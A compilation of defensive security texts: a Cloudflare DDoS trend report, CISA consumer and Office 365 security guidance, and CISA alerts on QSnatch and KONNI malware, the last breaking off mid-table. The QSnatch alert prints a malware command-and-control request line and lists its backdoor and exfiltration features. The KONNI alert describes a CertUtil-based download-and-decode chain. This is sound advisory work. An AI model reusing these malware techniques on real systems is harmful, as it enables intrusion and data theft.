Network-layer DDoS attack trends for Q2 2020

In the first quarter of 2020, within a matter of weeks, our way of life shifted. We’ve become reliant on online services more than ever. Employees that can are working from home, students of all ages and grades are taking classes online, and we’ve redefined what it means to stay connected. The more the public is dependent on staying connected, the larger the potential reward for attackers to cause chaos and disrupt our way of life. It is therefore no surprise that in Q1 2020 (January 1, 2020 to March 31, 2020) we reported an increase in the number of attacks—especially after various government authority mandates to stay indoors—shelter-in-place went into effect in the second half of March.

In Q2 2020 (April 1, 2020 to June 30, 2020), this trend of increasing DDoS attacks continued and even accelerated:

  1. The number of L3/4 DDoS attacks observed over our network doubled compared to that in the first three months of the year.
  2. The scale of the largest L3/4 DDoS attacks increased significantly. In fact, we observed some of the largest attacks ever recorded over our network.
  3. We observed more attack vectors being deployed and attacks were more geographically distributed.

The number of global L3/4 DDoS attacks in Q2 doubled

Gatebot is Cloudflare’s primary DDoS protection system. It automatically detects and mitigates globally distributed DDoS attacks. A global DDoS attack is an attack that we observe in more than one of our edge data centers. These attacks are usually generated by sophisticated attackers employing botnets in the range of tens of thousand to millions of bots.

Sophisticated attackers kept Gatebot busy in Q2. The total number of global L3/4 DDoS attacks that Gatebot detected and mitigated in Q2 doubled quarter over quarter. In our Q1 DDoS report, we reported a spike in the number and size of attacks. We continue to see this trend accelerate through Q2; over 66% of all global DDoS attacks in 2020 occurred in the second quarter (nearly 100% increase). May was the busiest month in the first half of 2020, followed by June and April. Almost a third of all L3/4 DDoS attacks occurred in May.

In fact, 63% of all L3/4 DDoS attacks that peaked over 100 Gbps occurred in May. As the global pandemic continued to heighten around the world in May, attackers were especially eager to take down websites and other Internet properties.

Small attacks continue to dominate in numbers as big attacks get bigger in size

A DDoS attack’s strength is equivalent to its size—the actual number of packets or bits flooding the link to overwhelm the target. A ‘large’ DDoS attack refers to an attack that peaks at a high rate of Internet traffic. The rate can be measured in terms of packets or bits. Attacks with high bit rates attempt to saturate the Internet link, and attacks with high packet rates attempt to overwhelm the routers or other in-line hardware devices.

Similar to Q1, the majority of L3/4 DDoS attacks that we observed in Q2 were also relatively ‘small’ with regards to the scale of Cloudflare’s network. In Q2, nearly 90% of all L3/4 DDoS attacks that we saw peaked below 10 Gbps. Small attacks that peak below 10 Gbps can still easily cause an outage to most of the websites and Internet properties around the world if they are not protected by a cloud-based DDoS mitigation service.

Similarly, from a packet rate perspective, 76% of all L3/4 DDoS attacks in Q2 peaked up to 1 million packets per second (pps). Typically, a 1 Gbps Ethernet interface can deliver anywhere between 80k to 1.5M pps. Assuming the interface also serves legitimate traffic, and that most organizations have much less than a 1 Gbps interface, you can see how even these ‘small’ packet rate DDoS attacks can easily take down Internet properties.

In terms of duration, 83% of all attacks lasted between 30 to 60 minutes. We saw a similar trend in Q1 with 79% of attacks falling in the same duration range. This may seem like a short duration, but imagine this as a 30 to 60 minute cyber battle between your security team and the attackers. Now it doesn’t seem so short. Additionally, if a DDoS attack creates an outage or service degradation, the recovery time to reboot your appliances and relaunch your services can be much longer; costing you lost revenue and reputation for every minute.

In Q2, we saw the largest DDoS attacks on our network, ever

This quarter, we saw an increasing number of large scale attacks; both in terms of packet rate and bit rate. In fact, 88% of all DDoS attacks in 2020 that peaked above 100 Gbps were launched after shelter-in-place went into effect in March. Once again, May was not just the busiest month with the most number of attacks, but also the greatest number of large attacks above 100 Gbps.

From the packet perspective, June took the lead with a whopping 754 million pps attack. Besides that attack, the maximum packet rates stayed mostly consistent throughout the quarter with around 200 million pps.

The 754 million pps attack was automatically detected and mitigated by Cloudflare. The attack was part of an organized four-day campaign that lasted from June 18 to the 21. As part of the campaign, attack traffic from over 316,000 IP addresses targeted a single Cloudflare IP address.

Cloudflare’s DDoS protection systems automatically detected and mitigated the attack, and due to the size and global coverage of our network, there was no impact to performance. A global interconnected network is crucial when mitigating large attacks in order to be able to absorb the attack traffic and mitigate it close to the source, whilst also continuing serving legitimate customer traffic without inducing latency or service interruptions.

The United States is targeted with the most attacks

When we look at the L3/4 DDoS attack distribution by country, our data centers in the United States received the most number of attacks (22.6%), followed by Germany (4.4%), Canada (2.7%) and Great Britain (2.6%).

However when we look at the total attack bytes mitigated by each Cloudflare data center, the United States still leads (34.9%), but followed by Hong Kong (6.6%), Russia (6.5%), Germany (4.5%) and Colombia (3.7%). The reason for this change is due to the total amount of bandwidth that was generated in each attack. For instance, while Hong Kong did not make it to the top 10 list due to the relatively small number of attacks that was observed in Hong Kong (1.8%), the attacks were highly volumetric and generated so much attack traffic that pushed Hong Kong to the 2nd place.

When analyzing L3/4 DDoS attacks, we bucket the traffic by the Cloudflare edge data center locations and not by the location of the source IP. The reason is when attackers launch L3/4 attacks they can ‘spoof’ (alter) the source IP address in order to obfuscate the attack source. If we were to derive the country based on a spoofed source IP, we would get a spoofed country. Cloudflare is able to overcome the challenges of spoofed IPs by displaying the attack data by the location of Cloudflare’s data center in which the attack was observed. We’re able to achieve geographical accuracy in our report because we have data centers in over 200 cities around the world.

57% of all L3/4 DDoS attacks in Q2 were SYN floods

An attack vector is a term used to describe the attack method. In Q2, we observed an increase in the number of vectors used by attackers in L3/4 DDoS attacks. A total of 39 different types of attack vectors were used in Q2, compared to 34 in Q1. SYN floods formed the majority with over 57% in share, followed by RST (13%), UDP (7%), CLDAP (6%) and SSDP (3%) attacks.

SYN flood attacks aim to exploit the handshake process of a TCP connection. By repeatedly sending initial connection request packets with a synchronize flag (SYN), the attacker attempts to overwhelm the router’s connection table that tracks the state of TCP connections. The router replies with a packet that contains a synchronized acknowledgment flag (SYN-ACK), allocates a certain amount of memory for each given connection and falsely waits for the client to respond with a final acknowledgment (ACK). Given a sufficient number of SYNs that occupy the router’s memory, the router is unable to allocate further memory for legitimate clients causing a denial of service.

No matter the attack vector, Cloudflare automatically detects and mitigates stateful or stateless DDoS attacks using our 3 pronged protection approach comprising of our home-built DDoS protection systems:

  1. Gatebot – Cloudflare’s centralized DDoS protection systems for detecting and mitigating globally distributed volumetric DDoS attacks. Gatebot runs in our network’s core data center. It receives samples from every one of our edge data centers, analyzes them and automatically sends mitigation instructions when attacks are detected. Gatebot is also synchronized to each of our customers’ web servers to identify its health and triggers accordingly, tailored protection.
  2. dosd (denial of service daemon) – Cloudflare’s decentralized DDoS protection systems. dosd runs autonomously in each server in every Cloudflare data center around the world, analyzes traffic, and applies local mitigation rules when needed. Besides being able to detect and mitigate attacks at super fast speeds, dosd significantly improves our network resilience by delegating the detection and mitigation capabilities to the edge.
  3. flowtrackd (flow tracking daemon) – Cloudflare’s TCP state tracking machine for detecting and mitigating the most randomized and sophisticated TCP-based DDoS attacks in unidirectional routing topologies. flowtrackd is able to identify the state of a TCP connection and then drops, challenges or rate-limits packets that don’t belong to a legitimate connection.

In addition to our automated DDoS protection systems, Cloudflare also generates real-time threat intelligence that automatically mitigates attacks. Furthermore, Cloudflare provides its customers firewall, rate-limiting and additional tools to further customize and optimize their protection.

Cloudflare DDoS mitigation

As Internet usage continues to evolve for businesses and individuals, expect DDoS tactics to adapt as well. Cloudflare protects websitesapplications, and entire networks from DDoS attacks of any size, kind, or level of sophistication.

Our customers and industry analysts recommend our comprehensive solution for three main reasons:

  1. Network scale: Cloudflare’s 37 Tbps network can easily block attacks of any size, type, or level of sophistication. The Cloudflare network has a DDoS mitigation capacity that is higher than the next four competitors—combined.
  2. Time-to-mitigation: Cloudflare mitigates most network layer attacks in under 10 seconds globally, and immediate mitigation (0 seconds) when static rules are preconfigured. With our global presence, Cloudflare mitigates attacks close to the source with minimal latency. In some cases, traffic is even faster than over the public Internet.
  3. Threat intelligence: Cloudflare’s DDoS mitigation is powered by threat intelligence harnessed from over 27 million Internet properties on it. Additionally, the threat intelligence is incorporated into customer facing firewalls and tools in order to empower our customers.

Cloudflare is uniquely positioned to deliver DDoS mitigation with unparalleled scale, speed, and smarts because of the architecture of our network. Cloudflare’s network is like a fractal—every service runs on every server in every Cloudflare data center that spans over 200 cities globally. This enables Cloudflare to detect and mitigate attacks close to the source of origin, no matter the size, source, or type of attack.

To learn more about Cloudflare’s DDoS solution contact us or get started.

You can also join an upcoming live webinar where we will be discussing these trends, and strategies enterprises can implement to combat DDoS attacks and keep their networks online and fast.

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Securing Wireless Networks

In today’s connected world, almost everyone has at least one internet-connected device. With the number of these devices on the rise, it is important to implement a security strategy to minimize their potential for exploitation (see Securing the Internet of Things). Internet-connected devices may be used by nefarious entities to collect personal information, steal identities, compromise financial data, and silently listen to—or watch—users. Taking a few precautions in the configuration and use of your devices can help prevent this type of activity.

What are the risks to your wireless network?

Whether it’s a home or business network, the risks to an unsecured wireless network are the same. Some of the risks include:


If you fail to secure your wireless network, anyone with a wireless-enabled computer in range of your access point can use your connection. The typical indoor broadcast range of an access point is 150–300 feet. Outdoors, this range may extend as far as 1,000 feet. So, if your neighborhood is closely settled, or if you live in an apartment or condominium, failure to secure your wireless network could open your internet connection to many unintended users. These users may be able to conduct illegal activity, monitor and capture your web traffic, or steal personal files.


Wardriving is a specific kind of piggybacking. The broadcast range of a wireless access point can make internet connections available outside your home, even as far away as your street. Savvy computer users know this, and some have made a hobby out of driving through cities and neighborhoods with a wireless-equipped computer—sometimes with a powerful antenna—searching for unsecured wireless networks. This practice is known as “wardriving.”

Evil Twin Attacks

In an evil twin attack, an adversary gathers information about a public network access point, then sets up their system to impersonate it. The adversary uses a broadcast signal stronger than the one generated by the legitimate access point; then, unsuspecting users connect using the stronger signal. Because the victim is connecting to the internet through the attacker’s system, it’s easy for the attacker to use specialized tools to read any data the victim sends over the internet. This data may include credit card numbers, username and password combinations, and other personal information. Always confirm the name and password of a public Wi-Fi hotspot prior to use. This will ensure you are connecting to a trusted access point.

Wireless Sniffing

Many public access points are not secured and the traffic they carry is not encrypted. This can put your sensitive communications or transactions at risk. Because your connection is being transmitted “in the clear,” malicious actors could use sniffing tools to obtain sensitive information such as passwords or credit card numbers. Ensure that all the access points you connect to use at least WPA2 encryption.

Unauthorized Computer Access

An unsecured public wireless network combined with unsecured file sharing could allow a malicious user to access any directories and files you have unintentionally made available for sharing. Ensure that when you connect your devices to public networks, you deny sharing files and folders. Only allow sharing on recognized home networks and only while it is necessary to share items. When not needed, ensure that file sharing is disabled. This will help prevent an unknown attacker from accessing your device’s files.

Shoulder Surfing

In public areas malicious actors can simply glance over your shoulder as you type. By simply watching you, they can steal sensitive or personal information. Screen protectors that prevent shoulder-surfers from seeing your device screen can be purchased for little money. For smaller devices, such as phones, be cognizant of your surroundings while viewing sensitive information or entering passwords.

Theft of Mobile Devices

Not all attackers rely on gaining access to your data via wireless means. By physically stealing your device, attackers could have unrestricted access to all of its data, as well as any connected cloud accounts. Taking measures to protect your devices from loss or theft is important, but should the worst happen, a little preparation may protect the data inside. Most mobile devices, including laptop computers, now have the ability to fully encrypt their stored data—making devices useless to attackers who cannot provide the proper password or personal identification number (PIN). In addition to encrypting device content, it is also advisable to configure your device’s applications to request login information before allowing access to any cloud-based information. Last, individually encrypt or password-protect files that contain personal or sensitive information. This will afford yet another layer of protection in the event an attacker is able to gain access to your device.

What can you do to minimize the risks to your wireless network?

  1. Change default passwords. Most network devices, including wireless access points, are pre-configured with default administrator passwords to simplify setup. These default passwords are easily available to obtain online, and so provide only marginal protection. Changing default passwords makes it harder for attackers to access a device. Use and periodic changing of complex passwords is your first line of defense in protecting your device. (See Choosing and Protecting Passwords.)
  2. Restrict access. Only allow authorized users to access your network. Each piece of hardware connected to a network has a media access control (MAC) address. You can restrict access to your network by filtering these MAC addresses. Consult your user documentation for specific information about enabling these features. You can also utilize the “guest” account, which is a widely used feature on many wireless routers. This feature allows you to grant wireless access to guests on a separate wireless channel with a separate password, while maintaining the privacy of your primary credentials.
  3. Encrypt the data on your network. Encrypting your wireless data prevents anyone who might be able to access your network from viewing it. There are several encryption protocols available to provide this protection. Wi-Fi Protected Access (WPA), WPA2, and WPA3 encrypt information being transmitted between wireless routers and wireless devices. WPA3 is currently the strongest encryption. WPA and WPA2 are still available; however, it is advisable to use equipment that specifically supports WPA3, as using the other protocols could leave your network open to exploitation.  
  4. Protect your Service Set Identifier (SSID). To prevent outsiders from easily accessing your network, avoid publicizing your SSID. All Wi-Fi routers allow users to protect their device’s SSID, which makes it more difficult for attackers to find a network. At the very least, change your SSID to something unique. Leaving it as the manufacturer’s default could allow a potential attacker to identify the type of router and possibly exploit any known vulnerabilities.
  5. Install a firewall. Consider installing a firewall directly on your wireless devices (a host-based firewall), as well as on your home network (a router- or modem-based firewall). Attackers who can directly tap into your wireless network may be able to circumvent your network firewall—a host-based firewall will add a layer of protection to the data on your computer (see Understanding Firewalls for Home and Small Office Use).
  6. Maintain antivirus software. Install antivirus software and keep your virus definitions up to date. Many antivirus programs also have additional features that detect or protect against spyware and adware (see Protecting Against Malicious Code and What is Cybersecurity?).
  7. Use file sharing with caution. File sharing between devices should be disabled when not needed. You should always choose to only allow file sharing over home or work networks, never on public networks. You may want to consider creating a dedicated directory for file sharing and restrict access to all other directories. In addition, you should password protect anything you share. Never open an entire hard drive for file sharing (see Choosing and Protecting Passwords).
  8. Keep your access point software patched and up to date. The manufacturer of your wireless access point will periodically release updates to and patches for a device’s software and firmware. Be sure to check the manufacturer’s website regularly for any updates or patches for your device.
  9. Check your internet provider’s or router manufacturer’s wireless security options. Your internet service provider and router manufacturer may provide information or resources to assist in securing your wireless network. Check the customer support area of their websites for specific suggestions or instructions.
  10. Connect using a Virtual Private Network (VPN). Many companies and organizations have a VPN. VPNs allow employees to connect securely to their network when away from the office. VPNs encrypt connections at the sending and receiving ends and keep out traffic that is not properly encrypted. If a VPN is available to you, make sure you log onto it any time you need to use a public wireless access point.



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What is Cybersecurity?

What is cybersecurity?

Cybersecurity is the art of protecting networks, devices, and data from unauthorized access or criminal use and the practice of ensuring confidentiality, integrity, and availability of information. It seems that everything relies on computers and the internet now—communication (e.g., email, smartphones, tablets), entertainment (e.g., interactive video games, social media, apps ), transportation (e.g., navigation systems), shopping (e.g., online shopping, credit cards), medicine (e.g., medical equipment, medical records), and the list goes on. How much of your daily life relies on technology? How much of your personal information is stored either on your own computer, smartphone, tablet or on someone else’s system?

What are the risks to having poor cybersecurity?

There are many risks, some more serious than others. Among these dangers are malware erasing your entire system, an attacker breaking into your system and altering files, an attacker using your computer to attack others, or an attacker stealing your credit card information and making unauthorized purchases. There is no guarantee that even with the best precautions some of these things won’t happen to you, but there are steps you can take to minimize the chances.

What can you do to improve your cybersecurity?

The first step in protecting yourself is to recognize the risks. Familiarize yourself with the following terms to better understand the risks:

  1. Hacker, attacker, or intruder – These terms are applied to the people who seek to exploit weaknesses in software and computer systems for their own gain. Although their intentions are sometimes benign and motivated by curiosity, their actions are typically in violation of the intended use of the systems they are exploiting. The results can range from mere mischief (creating a virus with no intentionally negative impact) to malicious activity (stealing or altering information).
  2. Malicious code – Malicious code (also called malware) is unwanted files or programs that can cause harm to a computer or compromise data stored on a computer. Various classifications of malicious code include viruses, worms, and Trojan horses. (See Protecting Against Malicious Code for more information.) Malicious code may have the following characteristics:
    • It might require you to actually do something before it infects your computer. This action could be opening an email attachment or going to a particular webpage.
    • Some forms of malware propagate without user intervention and typically start by exploiting a software vulnerability. Once the victim computer has been infected, the malware will attempt to find and infect other computers. This malware can also propagate via email, websites, or network-based software.
    • Some malware claims to be one thing, while in fact doing something different behind the scenes. For example, a program that claims it will speed up your computer may actually be sending confidential information to a remote intruder.
  3. Vulnerabilities – Vulnerabilities are flaws in software, firmware, or hardware that can be exploited by an attacker to perform unauthorized actions in a system. They can be caused by software programming errors. Attackers take advantage of these errors to infect computers with malware or perform other malicious activity.

To minimize the risks of cyberattacks, follow basic cybersecurity best practices:

  1. Keep software up to date. Install software patches so that attackers cannot take advantage of known problems or vulnerabilities. Many operating systems offer automatic updates. If this option is available, you should enable it. (see Understanding Patches and Software Updates for more information.)
  2. Run up-to-date antivirus software. A reputable antivirus software application is an important protective measure against known malicious threats. It can automatically detect, quarantine, and remove various types of malware. Be sure to enable automatic virus definition updates to ensure maximum protection against the latest threats. Note: Because detection relies on signatures—known patterns that can identify code as malware—even the best antivirus will not provide adequate protections against new and advanced threats, such as zero-day exploits and polymorphic viruses.
  3. Use strong passwords. Select passwords that will be difficult for attackers to guess, and use different passwords for different programs and devices. It is best to use long, strong passphrases or passwords that consist of at least 16 characters. (See Choosing and Protecting Passwords.)
  4. Change default usernames and passwords. Default usernames and passwords are readily available to malicious actors. Change default passwords, as soon as possible, to a sufficiently strong and unique password.
  5. Implement multi-factor authentication (MFA). Authentication is a process used to validate a user’s identity. Attackers commonly exploit weak authentication processes. MFA uses at least two identity components to authenticate a user’s identity, minimizing the risk of a cyberattacker gaining access to an account if they know the username and password. (See Supplementing Passwords.)
  6. Install a firewall. Firewalls may be able to prevent some types of attack vectors by blocking malicious traffic before it can enter a computer system, and by restricting unnecessary outbound communications. Some device operating systems include a firewall. Enable and properly configure the firewall as specified in the device or system owner’s manual. (See Understanding Firewalls for Home and Small Office Use.)
  7. Be suspicious of unexpected emails. Phishing emails are currently one of the most prevalent risks to the average user. The goal of a phishing email is to gain information about you, steal money from you, or install malware on your device. Be suspicious of all unexpected emails. (See Avoiding Social Engineering and Phishing Attacks.)

Refer to cybersecurity Tips and Cyber Essentials for more information from the Cybersecurity and Infrastructure Security Agency (CISA) on how to improve your cybersecurity posture and protect yourself and from cyberattacks.



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Microsoft Office 365 Security Recommendations


As organizations adapt or change their enterprise collaboration capabilities to meet “telework” requirements, many organizations are migrating to Microsoft Office 365 (O365) and other cloud collaboration services. Due to the speed of these deployments, organizations may not be fully considering the security configurations of these platforms.

This Alert is an update to the Cybersecurity and Infrastructure Security Agency’s May 2019 Analysis Report, AR19-133A: Microsoft Office 365 Security Observations, and reiterates the recommendations related to O365 for organizations to review and ensure their newly adopted environment is configured to protect, detect, and respond against would be attackers of O365.

Technical Details

Since October 2018, the Cybersecurity and Infrastructure Security Agency (CISA) has conducted several engagements with customers who have migrated to cloud-based collaboration solutions like O365. In recent weeks, organizations have been forced to change their collaboration methods to support a full “work from home” workforce.

O365 provides cloud-based email capabilities, as well as chat and video capabilities using Microsoft Teams. While the abrupt shift to work-from-home may necessitate rapid deployment of cloud collaboration services, such as O365, hasty deployment can lead to oversights in security configurations and undermine a sound O365-specific security strategy.

CISA continues to see instances where entities are not implementing best security practices in regard to their O365 implementation, resulting in increased vulnerability to adversary attacks.


The following list contains recommended configurations when deploying O365:

Enable multi-factor authentication for administrator accounts: Azure Active Directory (AD) Global Administrators in an O365 environment have the highest level of administrator privileges at the tenant level. This is equivalent to the Domain Administrator in an on-premises AD environment. The Azure AD Global Administrators are the first accounts created so that administrators can begin configuring their tenant and eventually migrate their users. Multi-factor authentication (MFA) is not enabled by default for these accounts. Microsoft has moved towards a “Secure by default” model, but even this must be enabled by the customer. The new feature, called “Security Defaults,”[1] assists with enforcing administrators’ usage of MFA. These accounts are internet accessible because they are hosted in the cloud. If not immediately secured, an attacker can compromise these cloud-based accounts and maintain persistence as a customer migrates users to O365.

Assign Administrator roles using Role-based Access Control (RBAC): Given its high level of default privilege, you should only use the Global Administrator account when absolutely necessary. Instead, using Azure AD’s numerous other built-in administrator roles instead of the Global Administrator account can limit assigning of overly permissive privileges to legitimate administrators.[2] Practicing the principle of “Least Privilege” can greatly reduce the impact if an administrator account is compromised.[3] Always assign administrators only the minimum permissions they need to do conduct their tasks.  

Enable Unified Audit Log (UAL): O365 has a logging capability called the Unified Audit Log that contains events from Exchange Online, SharePoint Online, OneDrive, Azure AD, Microsoft Teams, PowerBI, and other O365 services.[4] An administrator must enable the Unified Audit Log in the Security and Compliance Center before queries can be run. Enabling UAL allows administrators the ability to investigate and search for actions within O365 that could be potentially malicious or not within organizational policy.

Enable multi-factor authentication for all users: Though normal users in an O365 environment do not have elevated permissions, they still have access to data that could be harmful to an organization if accessed by an unauthorized entity. Also, threat actors compromise normal user accounts in order to send phishing emails and attack other organizations using the apps and services the compromised user has access to.

Disable legacy protocol authentication when appropriate: Azure AD is the authentication method that O365 uses to authenticate with Exchange Online, which provides email services. There are a number of legacy protocols associated with Exchange Online that do not support MFA features. These protocols include Post Office Protocol (POP3), Internet Message Access Protocol (IMAP), and Simple Mail Transport Protocol (SMTP). Legacy protocols are often used with older email clients, which do not support modern authentication. Legacy protocols can be disabled at the tenant level or at the user level. However, should an organization require older email clients as a business necessity, these protocols will presumably not be disabled. This leaves email accounts accessible through the internet with only the username and password as the primary authentication method. One approach to mitigate this issue is to inventory users who still require the use of a legacy email client and legacy email protocols and only grant access to those protocols for those select users. Using Azure AD Conditional Access policies can help limit the number of users who have the ability to use legacy protocol authentication methods. Taking this step will greatly reduce an organization’s attack surface.[5]

Enable alerts for suspicious activity: Enabling logging of activity within an Azure/0365 environment can greatly increase the owner’s effectiveness of identifying malicious activity occurring within their environment and enabling alerts will serve to enhance that. Creating and enabling alerts within the Security and Compliance Center to notify administrators of abnormal events will reduce the time needed to effectively identify and mitigate malicious activity.[6] At a minimum, CISA recommends enabling alerts for logins from suspicious locations and for accounts exceeding sent email thresholds.

Incorporate Microsoft Secure Score: Microsoft provides a built-in tool to measure an organization’s security posture with respect to its O365 services and offer enhancement recommendations.[7] These recommendations provided by Microsoft Secure Score do NOT encompass all possible security configurations, but organizations should still consider using Microsoft Secure Score because O365 service offerings frequently change. Using Microsoft Secure Score will help provide organizations a centralized dashboard for tracking and prioritizing security and compliance changes within O365.

Integrate Logs with your existing SIEM tool: Even with robust logging enabled via the UAL, it is critical to integrate and correlate your O365 logs with your other log management and monitoring solutions. This will ensure that you can detect anomalous activity in your environment and correlate it with any potential anomalous activity in O365.[8]

Solution Summary

CISA encourages organizations to implement an organizational cloud strategy to protect their infrastructure assets by defending against attacks related to their O365 transition and better securing O365 services.[9] Specifically, CISA recommends that administrators implement the following mitigations and best practices:

  1. Use multi-factor authentication. This is the best mitigation technique to protect against credential theft for O365 administrators and users.
  2. Protect Global Admins from compromise and use the principle of “Least Privilege.”
  3. Enable unified audit logging in the Security and Compliance Center.
  4. Enable Alerting capabilities.
  5. Integrate with organizational SIEM solutions.
  6. Disable legacy email protocols, if not required, or limit their use to specific users.


[1] Azure AD Security Defaults[2] Azure AD Administrator roles[3] Protect Global Admins[4] Unified audit log[5] Block Office 365 Legacy Email Authentication Protocols[6] Alert policies in the security and compliance center[7] Microsoft Secure Score[8] SIEM integration with Office 365 Advanced Threat Protection[9] Microsoft 365 security best practices

Alert (AA20-120A)

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Potential Legacy Risk from Malware Targeting QNAP NAS Devices


This is a joint alert from the United States Cybersecurity and Infrastructure Security Agency (CISA) and the United Kingdom’s National Cyber Security Centre (NCSC).

CISA and NCSC are investigating a strain of malware known as QSnatch, which attackers used in late 2019 to target Network Attached Storage (NAS) devices manufactured by the firm QNAP.  

All QNAP NAS devices are potentially vulnerable to QSnatch malware if not updated with the latest security fixes. The malware, documented in open-source reports, has infected thousands of devices worldwide with a particularly high number of infections in North America and Europe. Further, once a device has been infected, attackers can prevent administrators from successfully running firmware updates.

This alert summarizes the findings of CISA and NCSC analysis and provides mitigation advice.

Click here for a PDF version of this report from NCSC.

For a downloadable copy of IOCs, see STIX file.

Technical Details


CISA and NCSC have identified two campaigns of activity for QSnatch malware. The first campaign likely began in early 2014 and continued until mid-2017, while the second started in late 2018 and was still active in late 2019. The two campaigns are distinguished by the initial payload used as well as some differences in capabilities. This alert focuses on the second campaign as it is the most recent threat.  

It is important to note that infrastructure used by the malicious cyber actors in both campaigns is not currently active, but the threat remains to unpatched devices.  

Although the identities and objectives of the malicious cyber actors using QSnatch are currently unknown, the malware is relatively sophisticated, and the cyber actors demonstrate an awareness of operational security.

Global distribution of infections  

Analysis shows a significant number of infected devices. In mid-June 2020, there were approximately 62,000 infected devices worldwide; of these, approximately 7,600 were in the United States and 3,900 were in the United Kingdom. Figure 1 below shows the location of these devices in broad geographic terms.

Figure 1: Locations of QNAP NAS devices infected by QSnatch

Delivery and exploitation

The infection vector has not been identified, but QSnatch appears to be injected into the device firmware during the infection stage, with the malicious code subsequently run within the device, compromising it. The attacker then uses a domain generation algorithm (DGA)—to establish a command and control (C2) channel that periodically generates multiple domain names for use in C2 communications—using the following HTTP GET request:

HTTP GET https://[generated-address]/qnap_firmware.xml?=t[timestamp][1]

Malware functionalities  

Analysis shows that QSnatch malware contains multiple functionalities, such as:  

  1. CGI password logger  
    • This installs a fake version of the device admin login page, logging successful authentications and passing them to the legitimate login page.
  2. Credential scraper
  3. SSH backdoor  
    • This allows the cyber actor to execute arbitrary code on a device.
  4. Exfiltration
    • When run, QSnatch steals a predetermined list of files, which includes system configurations and log files. These are encrypted with the actor’s public key and sent to their infrastructure over HTTPS.
  5. Webshell functionality for remote access


The malware appears to gain persistence by preventing updates from installing on the infected QNAP device. The attacker modifies the system host’s file, redirecting core domain names used by the NAS to local out-of-date versions so updates can never be installed.  


The following tables provide hashes of related QSnatch samples found in open-source malware repositories. File types fall into two buckets: (1) shell scripts (see table 1) and (2) shell script compiler (SHC)-compiled executable and linking format (ELF) shell scripts (see table 2). One notable point is that some samples intentionally patch the infected QNAP for Samba remote code execution vulnerability CVE-2017-7494.  

Table 1: QSnatch samples – shell scripts

SH Samples (SHA256)

Table 2: QSnatch samples – SHC-compiled ELF shell scripts

SH Samples (SHA256)


As stated above, once a device has been infected, attackers have been known to make it impossible for administrators to successfully run the needed firmware updates. This makes it extremely important for organizations to ensure their devices have not been previously compromised. Organizations that are still running a vulnerable version should take the following steps to ensure the device is not left vulnerable:

  1. Scan the device with the latest version of Malware Remover, available in QNAP App Center, to detect and remove QSnatch or other malware.
  2. Run a full factory reset on the device.
  3. Update the firmware to the latest version.

The usual checks to ensure that the latest updates are installed still apply. To prevent reinfection, this recommendation also applies to devices previously infected with QSnatch but from which the malware has been removed.

To prevent QSnatch malware infections, CISA and NCSC strongly recommend that organizations take the recommended measures in QNAP’s November 2019 advisory.[2]

CISA and NCSC also recommend organizations consider the following mitigations:  

  1. Verify that you purchased QNAP devices from reputable sources.  
    • If sources are in question then, in accordance with the instructions above, scan the device with the latest version of the Malware Remover and run a full factory reset on the device prior to completing the firmware upgrade. For additional supply chain recommendations, see CISA’s tip on Securing Network Infrastructure Devices.
  2. Block external connections when the device is intended to be used strictly for internal storage.


[1] QSnatch – Malware designed for QNAP NAS devices[2] QNAP: Security Advisory for Malware QSnatch


July 27, 2020: Initial VersionAugust 4, 2020: Updated Mitigations sectionAugust 6, 2020: Updated Mitigations section

Alert (AA20-209A)

Source :

Phishing Emails Used to Deploy KONNI Malware


This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. See the ATT&CK for Enterprise framework for all referenced threat actor techniques.

The Cybersecurity and Infrastructure Security Agency (CISA) has observed cyber actors using emails containing a Microsoft Word document with a malicious Visual Basic Application (VBA) macro code to deploy KONNI malware. KONNI is a remote administration tool (RAT) used by malicious cyber actors to steal files, capture keystrokes, take screenshots, and execute arbitrary code on infected hosts.

Technical Details

KONNI malware is often delivered via phishing emails as a Microsoft Word document with a malicious VBA macro code (Phishing: Spearphising Attachment [T1566.001]). The malicious code can change the font color from light grey to black (to fool the user to enable content), check if the Windows operating system is a 32-bit or 64-bit version, and construct and execute the command line to download additional files (Command and Scripting Interpreter: Windows Command Shell [T1059.003]).

Once the VBA macro constructs the command line, it uses the certificate database tool CertUtil to download remote files from a given Uniform Resource Locator. It also incorporates a built-in function to decode base64-encoded files. The Command Prompt silently copies certutil.exe into a temp directory and renames it to evade detection.

The cyber actor then downloads a text file from a remote resource containing a base64-encoded string that is decoded by CertUtil and saved as a batch (.BAT) file. Finally, the cyber actor deletes the text file from the temp directory and executes the .BAT file.

MITRE ATT&CK Techniques

According to MITRE, KONNI uses the ATT&CK techniques listed in table 1.

Table 1: KONNI ATT&CK techniques

System Network Configuration Discovery [T1016]KONNI can collect the Internet Protocol address from the victim’s machine.
System Owner/User Discovery [T1033]KONNI can collect the username from the victim’s machine.
Masquerading: Match Legitimate Name or Location [T1036.005]KONNI creates a shortcut called Anti virus service.lnk in an apparent attempt to masquerade as a legitimate file.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol [T1048.003]KONNI has used File Transfer Protocol to exfiltrate reconnaissance data out.
Input Capture: Keylogging  [T1056.001]KONNI has the capability to perform keylogging.
Process Discovery [T1057]KONNI has used tasklist.exe to get a snapshot of the current processes’ state of the target machine.
Command and Scripting Interpreter: PowerShell [T1059.001]KONNI used PowerShell to download and execute a specific 64-bit version of the malware.
Command and Scripting Interpreter: Windows Command Shell  [T1059.003]KONNI has used cmd.exe to execute arbitrary commands on the infected host across different stages of the infection change.
Indicator Removal on Host: File Deletion [T1070.004]KONNI can delete files.
Application Layer Protocol: Web Protocols [T1071.001]KONNI has used Hypertext Transfer Protocol for command and control.
System Information Discovery [T1082]KONNI can gather the operating system version, architecture information, connected drives, hostname, and computer name from the victim’s machine and has used systeminfo.exe to get a snapshot of the current system state of the target machine.
File and Directory Discovery [T1083]A version of KONNI searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.
Ingress Tool Transfer [T1105]KONNI can download files and execute them on the victim’s machine.
Modify Registry [T1112]KONNI has modified registry keys of ComSysApp service and Svchost on the machine to gain persistence.
Screen Capture [T1113]KONNI can take screenshots of the victim’s machine.
Clipboard Data [T1115]KONNI had a feature to steal data from the clipboard.
Data Encoding: Standard Encoding [T1132.001]KONNI has used a custom base64 key to encode stolen data before exfiltration.
Access Token Manipulation: Create Process with Token [T1134.002]KONNI has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user.
Deobfuscate/Decode Files or Information [T1140]KONNI has used CertUtil to download and decode base64 encoded strings.
